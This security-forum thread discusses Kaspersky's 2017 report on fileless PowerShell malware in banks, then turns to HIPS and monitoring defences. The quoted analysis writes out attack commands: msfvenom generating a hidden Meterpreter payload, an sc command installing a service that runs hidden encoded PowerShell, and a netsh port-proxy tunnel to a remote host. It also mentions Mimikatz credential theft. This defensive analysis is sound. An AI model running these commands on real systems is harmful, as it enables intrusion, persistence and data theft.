A rash of invisible, fileless malware is infecting banks around the globe

A rash of invisible, fileless malware is infecting banks around the globe

-- Tom

 

Command shell execution via service start up running with admin privileges.

Kaspersky Lab participated in the forensic analysis after this attack was detected, discovering the use of PowerShell scripts within the Windows registry. Additionally it was discovered that the NETSH utility as used for tunnelling traffic from the victim’s host to the attacker´s C2.

We know that the Metasploit framework was used to generate scripts like the following one:

https://cdn.securelist.com/files/2017/02/fileless_eng_1.png

This script allocates memory, resolves WinAPIs and downloads the Meterpreter utility directly to RAM. These kind of scripts may be generated by using the Metasploit Msfvenom utility with the following command line options:

• msfvenom -p windows/meterpreter/bind_hidden_tcp AHOST=10.10.1.11 -f psh-cmd

After the successful generation of a script, the attackers used the SC utility to install a malicious service (that will execute the previous script) on the target host. This can be done, for example, using the following command:

• sc \\target_name create ATITscUA binpath= “C:\Windows\system32\cmd.exe /b /c start /b /min powershell.exe -nop -w hidden e aQBmACgAWwBJAG4AdABQAHQA…” start= manual

The next step after installing the malicious service would be to set up tunnels to access to the infected machine from remote hosts, for example using the following command:

• netsh interface portproxy add v4tov4 listenport=4444 connectaddress=10.10.1.12 connectport=8080 listenaddress=0.0.0.0

That would result in all network traffic from 10.10.1.11:4444 being forwarded to 10.10.1.12:8080. This technique of setting up proxy tunnels will provide the attackers with the ability to control any PowerShell infected host from remote Internet hosts.

The use of the “SC” and “NETSH” utilities requires administrator privileges both in local and remote host. The use of malicious PowerShell scripts also requires privilege escalation and execution policy changes. In order to achieve this, attackers used credentials from Service accounts with administrative privileges (for example backup, service for remote task scheduler, etc.) grabbed by Mimikatz.

Ref.: https://securelist.com/blog/research/77403/fileless-attacks-against-enterprise-networks/

-EDIT- The system processes highlighted perform hidden UAC elevation. The credentials used are the ACE's used by those processes to perform such activity.

 

So blocking powers she'll with hips will be enough?

 

Maybe. It's running as a service and as such will be loaded at boot time. If the HIPS is employed by an AV solution using Win 10's ELAM driver facility that loads its own kernel process, it might catch it.

-EDIT- I will also add that HIPS behavior when monitoring process or script behavior initiated from the command shell is somewhat unpredictable. For example, I created a block rule for a given process using Eset's HIPS. When said process was executed via command shell, the HIPS did not auto block as was expected. An alert however was generated, but the allow or deny decision was user dependent.

I always create a HIPS ask rule to monitor command shell startup.

 

I was thinking of outpost firewall

 

N/A since the product is no longer support and most certainly does not employ the Win 10 ELAM driver facility.

 

Doubtful. To do so, they would have to be monitoring service startup at boot time. In other words, they would have to load prior to services.exe startup.

Again, once malware installs itself as a service, it pretty much owns it.

 

I need more info about this attack, but seems they are able to inject code/malware directly into certain processes. On a home user machine this would normally happen via some exploit. So you need a tool that can block this, and even if you can not block this injection, you could still stop it by monitoring execution of system tools like Powershell.

 

They did not specify its name. May be it is bedep.

 

Actually upon further thought, this attack can be stopped using a classical HIPS.

To do so, you will have to monitor the registry service registry keys for modification. This means you have to have the technical smarts to be able to respond to such a HIPS alert to differentiate legit and malicious service registry key modification. The old Comodo Leak Test can be employed for proper configuration validation since it has tests that include service registry key modification and creation. Also Comodo's Defense+ does monitor service registry keys modification with some tweaking capability such as allowing such activity from Trusted Installers and OS system processes. I don't know if this malware could get around the OS process check since it is running with such credentials. Also as noted below, the payload is running from memory.

Additionally, some behavior blockers monitor for service registry keys modification by unknown processes. The Kaspersky article doesn't describe what was executed to create the service but it appears to be done exclusive from memory using Meterpreter utility. This leads me to believe it will bypass most behavior blockers.

 

Application of registry modifications requires a reboot and in some cases a complete hive reload that is only done with a cold boot. Below are service startup settings. Most malware services startup type would be 0x2 unless it was a driver which would use 0x0(if kernel mode) or 0x1.

START TYPE/LOADER/MEANING

0x0/Kernel/Represents a part of the (Boot) driver stack for the boot (startup) volume and must therefore be loaded by the Boot Loader.

0x1/I/O /Represents a driver to be loaded (System) subsystem at Kernel initialization.

0x2/Service Control Manager/To be loaded or started (Auto load) automatically for all startups, regardless of service type.

0x3(Load on demand)/Service Control Manager/Available, regardless of type, but will not be started until the user starts it (for example, by using the Devices icon in Control Panel).

0x4(disabled)/Service Control Manger/NOT TO BE STARTED UNDER ANY CONDITIONS.

Ref.: https://support.microsoft.com/en-us/help/103000/currentcontrolset-services-subkey-entries

​

 

Would like to hear Dan(@VoodooShield )'s input on this.

 

I just read another article about this attack. How the banks discovered it was they saw Meterpreter running on their servers.

As soon as Meterpreter was installed it was "game over." You can read about it here: https://www.offensive-security.com/metasploit-unleashed/about-meterpreter/

Notable for those who believe that AV's shouldn't scan encrypted communication is:

•By default, Meterpreter uses encrypted communications.
​

This attack is a classic example of a targeted APT.

 

I use SSM on my XP desktop, which I guess is classical HIPS. I still use this computer to do my online banking, rather than my much newer Surface Book with Windows 10.

 

Pardon my lapse in memory, but what's SSM?

 

Latest updates on this malware from Kaspersky below. Relevant points underlined. The good news is it appears that the Powershell startup is detectable. So simply blocking its execution is an effective mitigation against this threat.

Once the malware is running inside of Windows it erases all traces of its existence, and resides in the memory of the server it’s infected only long enough to exfiltrate the information it's been sent to steal and then it erases itself.

Because the new malware examples, which Kaspersky has named MEM:Trojan.win32.cometer and MEM:Trojan.win32.metasploit, reside in memory, they can’t be found by standard antivirus packages that scan a computer’s hard disk. Furthermore the malware hides inside of other applications making it practically invisible to antivirus packages and whitelisting services used by many firewalls.

According to an entry by Kaspersky on the Securelist blog, the process works by temporarily placing an installation utility on the computer’s hard drive, which installs the malware directly into memory using a standard Windows MSI file before erasing the utility. The actual malware stays in memory where it uses Windows PowerShell scripts to gain administrator passwords set up tunnels and then start gathering information.

Once the malware starts collecting the targeted data, it uses the unusual :4444 port address to access the tunnel. That tunnel is the route for exfiltration.

The malware is hard to find because it exists only in a computer’s memory, which means that the victim’s anti-malware software needs to scan memory while the computer is still running with the infection still resident. Rebooting the computer will erase the malware, which in turn means that forensic analysis has nothing to look for.

Kaspersky Lab principal security researcher Kurt Baumgartner said that its research teams first found the malware in a bank in Russia. The team was able to get to the server, in this case a domain controller, before the computer was rebooted, which allowed them to find the malware. There the Kaspersky team found that the attackers were using a shell script to install a malicious service in the computer’s registry.

Baumgartner said that while AV programs that look for signatures on a computer’s hard disk won’t find this malware, it can still be found. An updated anti-malware package should find it by its activities, such as creating tunnels, starting services or launching PowerShell activity. Network monitoring packages can spot the creation of the tunnel, and the use of the :4444 port.
​

 

A goodie, but an oldie, development of which ceased in 2009/10 - System Safety Monitor. Mentioned often, in this forum, over the years.

 

I had added sc.exe in ERP's vulnerable processes long ago.

 

Ya SSM and Process Guard.

I think most of us using Appguard have powershell covered by now.

 

I would monitor it and not block it:

SC.exe parameters can configure a specific service, retrieve the current status of a service, as well as stop and start a service.
​

High probability that app and security software use it to stop/start their service at program update time. As possibly Windows update itself.

​

 

Try googling - 'microsoft message analyzer vs wireshark' or 'difference between wireshark and microsoft network monitor'

Cf. - http://www.thewindowsclub.com/free-network-monitoring-tools-windows